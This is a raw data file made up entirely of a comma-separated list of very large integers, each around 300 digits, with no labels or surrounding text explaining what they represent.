63580481421563003159517225941244709855355527798697405451473246678910989677875345519294576378640531125601353398551996808349844453790439478569355045285888975149919515536433982282006853277172924322770780791665374485603027661787132479573732804681653770736181163680252155372568974987697276104994214153356384326307, 95266668640869403196067512660364539462841936087380437806299827831466444276342351859173043510179225733096914743282281431691834974582401672183499818568912233226133656406009445214381903354854012466900192840797422882081410620328815214351225233819314926567797521803887615274698846911918535614380916854192817085062, 99249528800357758368831727101257926324296243623122818812117607884973171788596054061809326272248374960609817378910424926988144822006793145566807983368787082969599325615376168074692022379052865646872573035028353905292774864033748033066432159345693513823286432269150198646930554551039701229061932928603689609704, 99141096812891119320857710888488785823816856857890265271922355590204896625444701487317307362659902006446704271597248249216620477671129367223083008518610584918759300748755193180320397176207429844540703702306449771672948577456798333453237608734860572729310046889121966229377410251057472034697909102460659768554, 2710292674514205409563216925961212569187429869977389056873318115797171749244598499337380647872251131568222373890404171475226814220514657915982654741114499244302468880601490626750055676928826721295934849979742212442567871105076567963443211364395670773912276231085052642155929116989588377296987733459410794904, 40565465222820740905390506166841148132187289899960965244484879715088683034704263019600529684205245786202817241967541919653646928273969086449813272277693318905435315884318272883228234294339711973875421189210019235029940877994546144850515725046074994095589132408289985464922183314395602689288305051002741281197, 29673449994717051981755663577132511877622136074804589126319540237098856174600048278283333399837626360857163941402878226762373809035714307750003332174007788502977278958756107614781008033274014003094880337482544667226830426350222457374306839522137832559205208926986413771122495026696286486074438385735329304305, 72069397054959007210259463725015466227510286198757763944135275670640069398410381269701451944580778413798448484998525658054171309946389691408043767257676056890180335236755512539752941327181112983323948812763821406153592980747714021131016080928692321458839193589381600867940900256680164514017634295605372813838, 49652660478503744344987026660131448937897206705333235383237167216770792861424155721423698007166043471722119768367863161789328186067797971645519974941866446357003409444918963260298352557192935337779940687742544738614553179204459515704847854404922390119548839963241271824094025239014705020378277087305991147815, 80965114596874986279835271835015355112267956509885430091796673269469693025324641782318095777837716866135544997871561393507512132485962875876527657240727768395631238660776624907932363264435595058783008071102053375513476394332618044165003904022694069122421564873705422431568732986629524279541975499872403707978, 22555679495854908204545872380126949607286015241639962750784182300012315652378622330624150207277508505624816177552285768255166816750108712384944746532788064102468643340563708324815039013525612886549301868824324522700462272264053659783035916043546360737279896455119395816000967946864080553703638728407700478108, 926437793674417741067124314603385539449307852912499277569159622649768857935366200840191944802297666845687655979104658706267259235848737664838571153843150296032553011616330701020962688664124271055288028172858726160455307814793878139533220097798584321691272735980800108163058379657933358576364913871974095138, 20456161322921107416784643232250053533077530118910756557888348918150426889755611286605786473721547235830770700238963241597490627192872467081467182232612015995966101824322028972811859770150398485684275146018988704845776763483308453710846669151096791216560299412157767243222238034916486544236890209630041447319, 86610300234859809526264774467726147967557612999169133394068010550473515046117039250095334353112012589167560342395412848710232859394482547252743839728940091741184097835146398520720171226626330227413936351645316213813858522165709892465401965802633247615660184434667188374802783062964202479834864852742237283348, 139646943646413146831895447799022060123221086221283307337568548713875091418322352254839111524774636786597732910859101929936129348507655255282376484730764464721510511430137911891083529898051759764315641783264105683351565853477604215907758393727497776991744925109249652598146538603633602579112441884963218304305, 21950337705215166596412049066104569047426740974593989175222099475243764936499888368099329787619594826116222427605340974832964275819744521347296578864495558441319051573967037729360859228137180177535714564447601191502481590984644474387319546726078005356530163609900735576571644048851452267423879581150476811957, 77010025849416522880237203657760780194823025326511973879182561434663029938740223037284033731981633639551944109143147094393346110615267248887262213281310669342527630988541958874512270508877263813065303648595964594073308688918665767830489313093000214985997455840260253913689555245291125719974708489048425517062, 111721204305770200456153535476143620406064021104253000280197706094239018942592781311381720285864827295220621526267602091273078211656440980932370277400667420310621745858272628001611348273566106917482788274857595817811717539845576124731300159787288142525589031212339670307827269689343378443337227182937766327976, 6629337057707785022894000693917953362959198397788453494625853821228470982694061965023371841148151627339854035625259269601868912354063072970667663176207415093042839238131616993491922342522068003516888237794347646163941423101532656273195158264018725791420703500985094814064584151390807246169256885022605877285, 116134637254473106903739721123040396718173401989304573804313716722025732469869082096194165149370320362386387489163830887189216232586602760543034093799187068460595574703282248067723302528059770429084270491022270833365110771367014216836018030483071615242412916153517783893324062606895327877798299265166652048506, 56361996283114373508267138150333928274208308288250502850486534194306444860129022569661414658055816648518820419498311496233887745280921214427279061180055692672958396465452387731121608691983865745168205718918966713423499950916173598645531404462746608654922166474472245026693149354700706718061997418646256065780, 103694467547424711542220573358109737655531444497981475729901227908312291835120204098304557010232381074791125137358346478404675279932951001809102117816956064898443418856388419966539897783167594877529643676240995125919171468131318174833117695176745643998204255828621880370548462341057175599844153766833137538321, 45106124533360182431561583899163250006788352824712041303577218749598805947481214001540825806527073016274212140056458293086174797043325729052357059508240139164911012423126484515431910936791168024661065857371660146667458767052595000754718743693830655527205702777127865520184217630988676193891343825854278871016, 22471010100616550145451609503081226883674139477349906409756990133765465999917164685346264803630455823986918039961315190847931143237000596662849225260096090917285603845923188600793812353030125414320516900310197474537884361687313484863607776812410432743427497321412098080535349743093976727708030224652365279174, 134324685275841663188083723684637974197821353845709721123900824056393731810940182889416963446672201431895180985325188864962372820198992705472350873991599666950343965408105450156072587570211022509530236876762821105275460357284547295664406790311026619532279133560312231509662839503105245852403117241282916090892, 54516359163136873937639366818118713295329572705144473639661253174608964177658054071754627606494048853440989263469002284878983546801937565318610061729897020827917506570067445366458060853777504060081645774775166362468508144503589082714186390379771515336670066549745557447228944039789700619250745316361913586641, 90756118063994683587776691986603201681098888969695122954471939114885655718871538161996076308790966780059883447850969260772626879023963207065007489155534406553904418950970395447669575800477307567951620222524741573578370741730635169068916195454432684253505657430822900541344188953143385307762557056578024082395, 98622576398026817786827853442497754885924037947005566432891821089615306438556290345876130280985120913860083305109991313355014259355592107256538143013962139906363328801952763316666387951839132061402483145385917569467181832969573510080579075010416438090601016997244102165715332304443494380057900926405340173230, 17549005410339067583946473265305436720212302053659062425186730481236057098228846151057356124466332877760868321106926059375166600198704166453873167593493872906745071020332733240597841049114544681476741921766518305776277008883242010949491831650676549579626254916382736012632751955101118968428470953388908844864, 75980351378293556988271620630249340207699998639798052718414082016160055178961303620685396066278858956340615342908654414213648620036077340022364381097859184035794737225629199851711667085366191121664192096826849067527423222568041706283746018330219242345026424007109993681592695163223894325381280264971415949372, 39681406818762008928499958424344385277849690386068168459656043784897636035491227002315557677211353823085699299205172339780880582947131885149432007752531392641085039249332554947984010491582737988955515912237392652139133492561334814448178343854870873547463040825913716548397145534593910644706518426001072575445, 111663871600164701928634654602685944085365295295194081043917777946173835231768397225118009219330588713606357973837962230904817880894506561823762660128837854031428976049918152856629680889557631160146788391704064257377237372641762366164905396689412246850021589584999814175117008399664583411895664501650448806270, 102999125166325524662245810657834211196298520965422939530452982334417944537842012498414155357967684841556156543116447930580664129670554735353276104409978193967223830452194254876641524940779865940873450050771048827849605038245586678418573834485108705031383423013471314768366673835065091901439272818380385232614, 134753305021353273711672063216010662394704507044266555415592402383209411591732325982217870316087590859894647310088449283946338948124739062552236105183584491992844995998538660212392376444668176563575576819546425939884124377967541021968404961522651622087464008916456043101743008000332502408507537425247249489103, 134229410526787390719163673378174946827123051994612494588695576026837795223431762890975237692036749725174030773820219917912663082584452210456593645894237713310962473878273545769464539354956856303614080748596729616561583622932397203154858256800587408621250963681883610938513595363872354610088748526033068106660, 112671264179928425576906000575862990923617092065397691477322415644136696329547873363679863713662770367660920649006334109159592657231091576992139255564123310586093017418064366499643819889816711106920344883727452965051764607895841771986980227970692146634383928628456910452566169200044134236529504549788489230567, 88009419128235516882449287634675975330553285603335696869902888286813074035526018211369389725616055612932217016114961529745186293807833319601167237406311402045726576776726375816778689911673194944769870028651962660150158625291663061291058328003602228939503902402332965614515321169796076710777638730550724000710, 94433110570455939019061792385013954455716958886110158426465894541075086272200049102013948233450666880387529079796485000192942007842770558630977505129454828411315390809813574602742279410921131092229422693628028411693947274632320330484203627090470271425403942896012202010931811084309499912020132416488747129623, 135043218142202311031921648109682434399291676037477491687518493877892272320043294697331139112270063307129223635497747177297720530676721433094537134743227596096469210231315854846902148624715918696516361538420358185930100388880621058401250395838508610803834446545062756620472813146128006790262909498732156102324, 10721792694524475447403047073829744508455081174747915450436559548050831700955316840282744469651491881610299001791099576965171002905521990539141125310634257808400773463910269485474400688314603499925190868512846395675503477809949310719731866432850908767501215109168472837963388213326671160880828093322732516538, 140068958821844734842234004416206083931759184371874135161429170708045986006799385366416140928537177373513389961248192040862399945702296461083733679226187774619714721749372665607885189748085449561057136942592737241500351042789814614796596073447235470934499757216661258835930246105862458507322720642159527270124, 16363708079969389505127348385114129098796203868209648120500323508949460881307543737455578174648388168077698212714078719670441033502457008421530788417080945011588543613675040028759650947363747037487872312499325251875377167096646605244707363452569941645714677934048059724455468171220852301896356541667759799761, 128931764759840707734766692102733505387865919813785437964106676419284251131633247625833407168670470487146095252746716267742670517624430783997212169264581888431612485332956029603692315637543379707442591411148908241777149742685433610433796653530459358421908003587926093454059526565693079005922942537703899220353, 61264338731170288176680687240947958606565275285330202983849883024982793709597477574425908770268766373188303055660076668010129962066733892875419874343195538476197156380391303936559245321319998212217997309490331443439955444102344996553281791386070001602299362055551800404967186346296388417226621306460275180351, 51534581077972397499984714257491501105026437416843363669941428430361922631185068110499178023443717886925841751586104781396082328903607951459939007319061076027568583203520083756089988441727144337482191639095095347424292056117359143081480072183074506565573906155430341013097674749886348940423926338814074963505, 114208775180577124489727890849256292621590264023033896401226632009475087126597535674114568742904722516559982427696874661342685270355322517312610133209734742221041549078188725538769128468408601555248244139754239928300660282219392505068910347297250827195881905413783338746131280629135427725171952945294030425593, 6551236101350133698420807577946590405132500215922697797188016398161137338161060198022989346821538878755980091360138251103887251931755938500202846067309196496649933364176205040145858591802567051598224898516415598832129977567306202045245601667078863860383703738172760835939366277158394446622631565013209486263, 119138619835041987784485354679322672270351372900455276664364662087615347200282097823336082267649324648862190362072753875968393038580622426530679104284089294253446528256902843690662211767244745351970881676910862355604303827041443946722196992453788950282874539087691655945370577665776886324753356747394189887464, 7539307928658676404668140291237687191387998728919949538707778562932175502791696052879116515265627015742754961036773724280107322811774126320407839517836380101321305471077153813801100907779090115079328416232063241535046292885942096835244250956300457204174472072773494929549848720494620999168353295437680441351, 120496989196710608052948209781121333042363602511408313690075208246311767303312501880307758621943467349893030592366477656961048344959989807777427747248606526361274946991843630284480863270116811409982768378521469524861480408077067188988787671776935140753065676932233222016125810904617004503314955798693750268065, 87435079252786213563852940805222722720283923008233799403007728412385114913486222989746179681985560331235667910156010844640491775659493376732170803034272365996821376437923913037534948264657752606948699158275217539542185213454553403577007513942306345091736538204872210171188106464659790358270603616995936073634, 81645328940000789137043307282440854333336079697051670088267219190331674192171163258982926877825044978089858764016865716109340869176290261744385218586998759993335786486249822024958073156420547799843491362953663492593633218117801907780079584242705527905251912254518459313136176816239713140268590589164829948638, 84688680796999419355320246100678529883329112250600124859052905609922572022006309209593007506368383154776326559329794238198900229942931965768255219844121369561773794647875506142165467783329432035897906049590733772081210231410193810158089928643905804590629306697947178691486726212836564455858745871387299953102, 140004294010486790511077958657018229514336252143850171880490484448603608303967613936884414604139461201353400883437877049801736065194959627624606153955750700304688258631143344010096033587023375386290867903079565071982289527660871535372504947381875870837751371610044972076476884418719522623703630319426535235221, 17499693879953690323362823607935655440479963204006267215832424006357697199619703066659307582174237023371696038637205508927889388339682716671138067328485623077168076867032529851275950355774122088846752012961981609298029449810160828936354228394250085864044190029587215764635373485370966979688565212477434680290, 125890118073592349757041225188179146259618334933893879022811603161269948721660362586166740373201438062359900404378916243701002240812733831930625009600992706620322384002309798023342590550201889940025715055191353031408122740996009926768894914633573659412114038067819070343720259193238220517259083700130483332389, 70820193335815973583621508193404888181416089871475796248083890086844281174219163624990748561956462504765880993509101444898872454964546823909515504186012250580260423714619038390026266525044971033161618840103945947182810274999443714643896563374891393033045361126186145792076069942640010339948773017458829315408, 64945331282899777785186832697683238783635666667808779053617969734538806807420911478443973701286198405620187586333662972334823156286737751080808991120045689916852844152674437465796946989219771722097714797970198516640330740442288181939195550036591447289328173172466974234682072399962829126395473436935526902624, 14155869919399790263835553515372738126468024750525344091643416065477135685715202150594187162910819146102229258145112172737481572592518593212692734065909813278120082654202433465401493392272725607142702106566400051022747372049743040726905611009722851105191165891420923174417129856609970139788660376602874556346, 85217277213138832805344359219552442806210518791491137378245406572327135284361927047258868638644477840504204372192104915967595622646756969014222015223969146811671768624668627825539965507937153179803641717421845022256183589930130326614395832340797786653321183262287902189088041810914581398461908297368541176004, 98683473225308181457406666276896082826515670024519215011104892257028937537742575281711109905736746308898081107002434666643586462078263072021708130138740877819656463707158400551444795037858534192319237359641013243028191162626951622088968641998385385359470232819470566556222138822012334195311145180684886877849, 118063273723759020763990219070706630665799189755556952775370403281721859415839760801750637960592306577311919130898801989094551829613242908088896131792556849791774692246290927397435600065021513435243313832907312718844043632542651759443550295182491127744332787815116350560989498073089089404086697122865362072750, 83726640796623445494232266110394521715198142227391111318246068006711003547610677756326696027859816100891365571353943799045596683709999529866963703456356284115292924731341851573703806693999598876044793751901467214096632317717446995704956716475645235754993107325007789335763827007554887898480707524182710597730, 128112301946758781833492565220867148430881122381907160270653232281224312910352869914843212841801822944325101257423202783845758942591776150314340129651783308539318094774463154911914218188113310292450455080063029968333780811066872048837148852853736280759295785525030882683947730111119072030550053076988269711890, 23900881453636249117050444272161399848940085550452678798446408148371718750087570559643196129458639064726989152888412844040530905327096884560391935074208558120828453779054844202474817751334118951286874071712469326734531613768276260446915612147672191914299517053682047245028438588643194619790687342195635489821, 61394475426032926961781077540643038316852114433282254824295665882710590943249993863401892454549358278745208039430447425428369797074141686202839851303371606496933487656271430166460621027142480641807431095584842893296484277303907685413594719450343398322039060739830275816733500544120496465640736069818365144629, 10785859243769584394112593790972739576367959235430824607977134534246266707291871405662883503754533380604254202756301746186153213950226429458730470147888187144915448207816794288283900890386464268343831907298354440509058791542214204163355662916063127058678200076415172733049213883275053122164463682897988781863, 140897468228700591166367220414292860634730653251893822851227812608291212367397331334375212504791460239014442839810499771992257648309864442625979165123816591516201676777955140690556258715394286927020249789964601916837138268178477759834256287897739590742792484448492123155685147348340613107698646997202613595932, 26495024280767437884972066026159654541432463249551864803052455288563913857857971985246816357781909915800932910117588407073952220075921325955743054696427272379188233238307737451370093157777558061899266013578416731237237959124543599421381751247090703589504283483261135323170323774689528124863624581541973905137, 67916208670521381745007086051170694651625190863139321809257005609301274629911852747635431882620175125143781967943752577851949752518410427172341029119674267362502538000158454762437679271632013901093980672190713328479828862462186467083017939876343138977510469172290751877958994904389349434198535454213354033977, 67339488074259406969165175203219607682852193730972558035057490231276375106185254382027492359447764701197081592545287308366774118548374515414635634132572999207215799068878361901250453389938970206008274576725458284022615879556175941036765570265701036316740273321183025399897491709371625022907867326215196361424, 106576857071601580503970113190056967064120178960783131345484632143334710142092878709867200560389246504394310165804372241805282787045715020069746256746084257814575578388935001296970421985533346247390529817590764288920444157461844962268930707438459042247608724378117841109609809403730295919789440750063395882608, 87747842788936259482181665616192358796770472639325427480565968703114069031482629432015343224477891962581233519899602955770258172642511563703470792825320479568414691929057622989977968780389257856343134105697231108363002958483133278832370090003779173015891308755471032282608627698349146239339728312038987540179, 132034421201560772706228830595752296288101274207315155674650106417735977794415263166838594355200561269657656725234316953593617976433644557868600678333939044097587716758375622133853723357528024697186763362534891794125583735044038054061016589741033423310024319222924272298673981246903707790605512091159068435116, 36224030813965168548901379922995804946507118459995073378903681576905202194301995062367488164458662401476479511926425560116701868631216824162749888988193021731009480378274229127763407670330514214915711064437860111387532097326011488791162016908880218277431770365600959087292567820387873607518414325529560528043, 26443474829917942056391320144482695752489605036633128254624811261827770858408220660514352719799904991820756148791285667078518893038814465736280801497366763919292243415998612937602705241087798351921229718054981709285781618977941482419520747894640216965300145443542134221238746360251722285490090376746605644683, 45435745150807630354604853413766447327807705979920347054910507467763997203048978895335984565077701089261005387386120261357257120672306146295965896215524824547919282663250412111608791602191354202599738467317203448945923298931084992675081853184358225118972562778949472264085388964261724900695573901376106867851, 119638565511258842814626382624888937024469206525620115272947883376735900564555412472599893742196917636698590867699357967143915884893514414059669611258685023552058741177073149350032668728364208406738531098939091928272744610412568086015738138578838635988472487781634027260494684488683661233640559413547994556883, 86076280649905291294043564734551007203604872784451592597493921210689777123310013341953843191713046302223014154151493936121549767306177034647247073930904462000663431984743685220383103051528741064390760578682117473121101028112659723579864346486369529296279950140350160908543520591422981713472737523401138407181, 48264536291043546952209187407436387833546177014784837376451879885036470569606549321606194219327690666100294433899641210030649943208313155539919312366715083140433818949354316504591816424173071608783518260054352713363525123962086265916775187990497073928502929294258160573867525004333232747809306378370866870586, 76608361913596898302765825558399766463075887041123764675843001578363286249227105166577592472155183188300592844883754590532316240670034470443341793387408933303108017425743453189054418716185778589363629632400471389883835940378252632949307220215558073128180104796326356090000289152624744191776776350038351902633, 121227511065365222420249296533563680119078906343341228028058385032477525342562188155249878309878901252964328764732717220451257530057527909928255081702967485579573246015324508714372863664265359022797398603771766245432640582797224196702442485500102192580411093233545207829856723253289850933589134238897039007065, 85730183718837183443563762776248815985663381597463914903366898785630851919794308720680679266411235614312153274512803431556425591522777322432917248802878645279281334185524329668529347069720834802061406930883824280484924634038825614236900882127628730501337714511078511975562506382959618161857127953322752042895, 90362615271603811435148404526258828148964327898035959761618124637142996921391289413712859121579878883369780642002532972592660124867079997003719284868406056712613077637414931543459068879860243806437876842007753076392437678762406942499860730590244071650661479067985885266512288377647573765743711848969504829392, 110084919284550056302323093909834444429317357105357146838253771186500003332006706923730586956834535882121644577269038949351368845040595666353430755184384232191772240411481649589602382030577452608691283657957287351284900855173246853764967334910885360667665138557887898996096722407346742270896141852785713246256, 139110235402726195451572238270091933168040659082217384370496663491661378017185531296859601731120656288518067541498378108328056202112392566519061702843224568089735040116409580986414931518001320403161571941825022362903142266049830342036611728795733488811692838248490968133977542696167196627099894243111379367380, 58530387935901919567914370736193155409472318028066554398417805222426475621144093949854590377179092260696149115724065974288396935532739223930170344906227106723602075822781132713159044731402796967456746976395119856704986472222677113586225768669820202544952381935039605592115311822964711828481059697989366922571, 6222307363902312886227596483506927066462606869198784642823984878923908255343972285783470380515149598609910402370464364479263953336768771606770436333698433931527823732027519081617101031460746984032075496953775375745551911604464310875983393807138550160307290018556049993973516210637675758034178131059573181895, 36485093951480865290990834278917442728255753099431935904143278139308461715774117357936548833372364260702239421997642379935979309531242690987572581700639073424911321847798305112345044663625246294664156304267297466892696264935264022423766821531618893697498897937625649001330205279138779850674916670287540945727, 110630446781307147543540781590053506357170199210120274788401951214144398291190230201713624505436237265103271394778899464012941507629341947207404316822289899513627167919953311064488601890891631548118753210257632525263406277047008491289648242652595902259980000463566707751235305908071215052358096672690713323662, 131039134642629229719487954945716661100139453089270762045181303894903051576998804927062848366020372905049281190997237165479929457089908419641389707744299647337497329229186053137909162414965298416928168132538340026405685264510975656047900623098701451129049482954812158733708780430440102398224527235920757185827, 121260424301955019776303733608467972794585171734860573210904845897121066803750230208354359761294833427803555009510214897614429779585893814128054645249855602701677312585631236795787957202764463713368432003585248992747522924756270865884374656536782795138355914941630488206671733094158841331255277046869150872887, 10262784102848714814366700175802176888237589476135114653927120788727386987805573777733437985306364395421598311496426030753817203014610791464334515856535666883858394824261188854180449258521041523466596120874493945320279540463393658256673389648157268100453280914192886953167534118115059748224085476503366454570, 97077801152037399107753353257267168584714508821672938209687884390971681226429185610445298118815520942171890215561935668334997116786310739633621957328411304157104039000964574606303166275749748106775610228770824809332043613328326939444526111873379576391534144459780988577859360445676748877806795900970128846550, 42702082528343948486060792598899812507045120811152083522886150796688893136875182812007982171908725086056509571039383366298540955058980160719034181894350882729749312099241062825317081007554104275836887465109391595904713027357750828293828127528687763427603336642307883435645997194021063264260603955667499692483, 114805490913828823266361251212002965556551559051256918538985541100704233044022730822376670707828648081273873497629057351411207945881053242702447502367300561586026675733831594987423944707467363788259675325570196183334583007131494516646492583240589388016332670544739788044797904550804394058674799721666871530190, 40067031448498956524405279465963468249805899434095303049714981799318361746818230165230188767203089564474251980228648323458947193481166183710404310156497455419419085992902717849666747708475952875497297096387672504790173519265008971925455108773746794813358445156106918648988425091150215791593237100429929412793, 141537199397264158714401706923046195580649770328234496606317326833299430910591245505911868623604956839514741546197073341226248207087669193595947969479440200547916912422933165939349327221384324825074419556283594381434435281643775156385094959143090472828057952330629071981173969657426650044347089348107148424061, 134281688887651731862248569830765689652197166699922062780836111802358132428503769738586428360573172923632472654838403723534378787595824467550153792857785836000819095320769688723654245532145950253569125920659289179687169748752791198013011675389329194035891177529590788147922623754215532334622184892418747740980, 1940807567841668397385205407835232559313277088798350909089962828664941880972846795329719197968360707714353168003843493493923492422479684531334815343108604633845369659914438329078571231419256979058903026396520955720741680984478906711121057919365875475965253049307476591330702610955986781607510569230032363220, 84212152031009324014380438909112577617891805820557615571415103594693284557402519612070132372960263068015865380909330804283876551645481039204518588881266646766205213344653960061256257847041020268610610495910111389162861709795253986270191946692192723412291434163409244654617660602227835308661527942794174895076, 127331817750946664903896761412114123428144660844507979318258284239017586009532917715792648601534926016151557457314448278418443537211965257917395118699679984331524714375979675914390222486874856565061159852975896456543651628222752629709325340791319020058354122867011718232271068872788738257864780459479183119499, 36906861805356385317695592013912321958856955497810954305690104733704648721777960587536382575217419860280999381017989888118792396915125850425070865477035513517988217536170036248983521139088474685569687226195024726098991974409490922334034227837686227851499674210119520490411560666627245205779705172703118584438, 129419237298669873895775858824276549957095844172858577252591948106061912642334450980190617719391127513251745564053099882536091607467047993092197773678851074321424619133614188923745749300060208060762809923188006916376756085426822243567417374084270691122315821401864915532720088569830255459044715350424560528925, 140059262793923181898185683364667029172016242299405400803344478791462185137412027205436827834521253442031142310687060748885866452203680001972348044874987595572520690146226946310352871347041996073743762283243891161720396362900877065198350404929799825026731880504279902630609870179760946428675872897174136018943, 104513682432826005679810128161312401726569616917939594141698609752737150422653399305040978701623778717679774899349426032796289816060845616345739542017275049936801542369171607012458410521815596024980765798960201427402895726139383937353405476077249048051714690775286958069228295354817515881608091269616976365314, 37530102277715109139093314955354607564966771225190939154720176380569292462126903637033855819713723348337894552358313925011179495668947414012227353893885893393025106060356223494170286914401614241440737494827740731798854257037367813746124173322760413717772592113971120627714885455854042406547128361343097446946, 1393369778297388073285017068347779127252730857329927256095777852545141341380595848418340316679495363172861068183296767012030657194167597570601608270547296754036977352681322377332929472783890762020790970847060880570766205217607464235242666867705268152747167700456390056462141819002056704049290842973928275795, 46647966708298502717971257750349106796912719017278137962918997557305890236121280469415717400547744640391641841607995712099847107620811121699657173179123723812557351673227550340861329049007733046074836096238995776203441849520235905971530026710221971357627834752185127549302773687954344328797390554638108219201, 92741849238333723607120882315930834367617671786857838340141308063432985645955089714545954066474691326961280779044538337988650225405526028446863678470292478911032341592532537359581897562100803595959907412799414869686606182054575466157171105012236731705981280587383021500751330686419049322069400537256684945227, 17216077872228887155492697955874609229752012682215725103335862332988827277116384665123389586512062306293681867004389425778803209531861855547368694485415812773927219438355332608896344018842282229526280231284635895223303228437614998155240671255736285932338413638785384405823680167472189069691247749248898069320, 127729573901172202682151384801554213838670317913821643792989250104701406918360753310224030195406616592387108447176141494082619571005333292812414997228970817705609791832166926254046483450097115735042500156327703159128023145467800510175227033822409065346309116784352799555363454712036422996288563281460194517570, 55440022330807950265475412232027747977154255006694619276961167160030872166172980339814336240267090562599652054992331548308527374170881448815018277138757392410282051490769832894240461731711677687817740556358492120008487954291172351928406830124010023690425748411203111516429670307648259235686582915692886737393, 141285037105211796151199404741798113650789608029637498354264071369182286871793161964004610326393831138660142776709789545064056466721336261795303279268567268652451933747614281595415754724487258077293130329204004362060307222706545127659314362618818170344097822498527291886597293702783660510487499971645662218687, 20925293979402872910283191000553307405452341299098297806811358055583560395687876889958079652704425077895763637598374307747604749386474933516326022298222378499857407244153139730936516681598417815332668051110282790903537526516364384975686829252524897567693541023321297410775318340129765112738028571355237978960, 79084944276788898624271197628902320049086555488409226930029854120573159195845412208273630631825439158913228141437208154329161050367391253044146050484793187700586917878798353909138033423921065248743978881637562371070350546206638047424797860584762726868759845807850881758351416838529915688940501660236519294521, 56613596473720223720488683780097756500844378939470863205272953321904557428164697859126133683561708601897009431435058246452297346434131274336807376884024035391974929934596534362783396897982789156397950193823278897235548332532749488999182165983041629582226180949717716455618197301344499974791094162982486568358, 21555192413798228945994239397584976686375247054204279161454383281347317419870610707921345817758229392099235824831713753713704403377996172962003106415900876027643358228835637824085675698599608352256140757793348523222255179424105170490816126788861007926302732108327387926938474354911959837070111276498053591290, 134083784783850588013349339226544037479615488648119310481501013749261498915837942018949027979002133144436930289150378063781882416307677728970914396047016536489334629701777038577923750942171089891753042792969618448107347645147703259003868572686214725401516540723960172186676879387500770355614862492664453872618, 11893850877014637886516133663515695269523864748472732606403418219790761889801943747471874302533450306195367025206532505285992786317815256661172625926623212217850951887586048062736453429096099702589655960990093742627386075103204256152564211921182925040779447517885650259200218658780634355102508406213304596906, 120292055156836500357791199501305736994615756209565032255308016689363087856619219860770034570871537999340395030797882961392246966584201655019698418539542334365118291959096525293040439329309901392711144278191521921626935221056875358711766182241244264483113977485881069837461927248930701187470300922124976905453, 77353971334588537883618415291357681401101681768178160923964593979427996014798803108196965309211234894452208985438821830479322866214658443441055475724768249439791328788355696900890301734303880502361121179356482465731901133643561475000151774102521912887761872892544526148187003504406476887875512946705933771938, 129240421154620002449779204053550418361791592548059747456329129987297076369855355937536327835099085984078871662363779389465061132457660637723866239352949798275010881765242145694035743127978378346270484753992881251211392129658719291482032271099128864546348007338402950858798477576213190595366032030756183952784, 97329904432752796740298480116628783999636279770888671132746687274108470327827330957183162138071398699588160330245901309200382161040137667843770939309507398581089957520478480658338485577756971023558892163129990979657446883800309089061744384364200344215728065324901159228127443320165795355930021419349081820005, 113276894095993432378117662734940320137329109221189764269207048327563696714919464455899691224066321744783112032812164858070497208123210989569039352049116380336252463034919874966873560193929711588387348055040826552897693089256620350902393121269764319076035132100734807587226605969239698059832423369108254902739, 122722936540815798612419549647013626190190589739450634459917020721766902058353343907848245549386480576851138111453192003952592996355083135764278056322062826268657017450442496110236488232254778950561427706227874291634600332527348041116149098439119968087010182238564749521012119446364952854656278193494868719516, 104313482411129231552289494757725324633554690681959461033686781672626498299392245758581569821096765715414305340805223264000790866017221866588170592281790562073623056567728596214510816483385068757558744711421034754442790000598627722520140002066450800167510329746393104414098513692021537680645431702419384581911, 56635612237602261190235360164160566274453041230964546396810324816011610319607392681386837815269908182113089862522741133579717660065121802965650750115287656030212044404281254740049684407627094174186038862689771010158285155198695875393027807665218363918884166751002746827949646134772880154042028455750187001750, 44256633726680728034887528802773392328684596407360061710581187612739813901746512061663950703193935637101642577674237734553383470212892049939032510266626409910285166927269689441870110897173611775728482122347942682986842903866053821228041148173218653801388162238789485346508353602726892938083156875494036402752, 102012769049155735556170320890610994214580911188824040229341293054374577487967220902135430230594663494651314046180495776567174799840029317759970661082226819749257537636217587456961075300188905302963606577859566608518037535092647012153269290456566493987332087457545230236081959501178441813267271778230327269074, 75182838359197468617780079091866102297221140455981960337084737119471443393578452129288530958115032402276520413712967336474261778856077660314885940502678962862334583499152648526753480420879213775741528851620195564294505451720187912236198005010745877478963675053534302711137196063087231535242629281764456631695, 17843193904358635816224877658804126939700717181861860179405462289554695549895770472027705667448459510822426566194905661923041805295369200533886045137155158940786163953310443586740157093053672194116800261017904324266797523173295435706252963196977930301715510499587860721552662338105391099139949008640776875321, 40590068552892534856990723305114844522993245541324767148210938417457364116935482582068325901180573424335566810165201693105811114889372650710041032066372635436764220783987371648986667934786521484457769814913072773856820071519749469595524414854382510186149847077233498377502881589202329635627299313515363885341, 80366672718916632649034453258859736052915807453387903118263687337097452339820262082892804564850413227897850316965619234497214308535135943768593009716926941563144999103199549915961258875010550976252503269196973630904569870346741182828376111315011201883440842811922574196931683178866325532962665045369944266398, 26011935078241028665671758249978936494505222103479349722919957383038524808977118619896099938713501072937984389411520548136472966297450758893055975244849632592427804858611677306806856888361237456142187123589404269231518271373524337318459664016268005492783039313943875572754154844146048068253794291938944438894, 104546173411124905173677419121459847648726963515918984263754943474695594352468662203933639703434349026372719671992839986997091253622108937311427500447571098739388866710746609339050132445120234120367791048873907481373332453056186365670971255642000854601981856991579376947754255148344258461325368190710148530148, 17928814350233979762655691514271117947143400078541627433155885033631450955810231387607032212303317311890203046016787681774599719281005783567832848358750673506878140840282316203985279711311136865362610801089289568542764237269712832855665336911461473393380413034694686683186445287974021663547001770498735142537, 137389073864086041351185702701317108550160945340277807627513344061022288376016354761305432873978505192173994301189537598640558750698555439936256498275037445327046630340213278899157555930951417521178161958435645964646731499430828513593068469528009530839390354435447421351883666932201248495263987275063830651895, 17307417018726876455431262031960403509277631898911146924389570749758196662815377032631125169630418715797534251520096945063600877954874435993924861941091296597207339623685111083226731618089367672288299422280746205504448019984018087814041425824095353869440660434570351148431889751449097890896565973881500654961, 62641844252060949353498709231253512165437345159784321036601654418990151293144388885265843002812024233510840321796778404629410490874515661702244848340366344552884584375426474405903120725350371701771253468103897435152358542707729358975536669745767720221574387761458267759614697926763409974908520193415047692597, 6445844059978661121489259584872374429367430815166416063782921655873934101098163321150218170753011189805366157930189637552286740594564215435452966876220776292039404336072916136659778191608291856331025362593457362670436131101943742710835099169551867529535134659626160315907118747859885834168806908323225035803, 26337905604465530732891438526968997761268195286697058335711228063235393266627645794851484565548740080305110244042694384293439009113453098161006712989029517723068121674459506629307697677278008090423616293459665130419979892213200309495565107010328292777696996009222487343112872869954068135396930853178792694682, 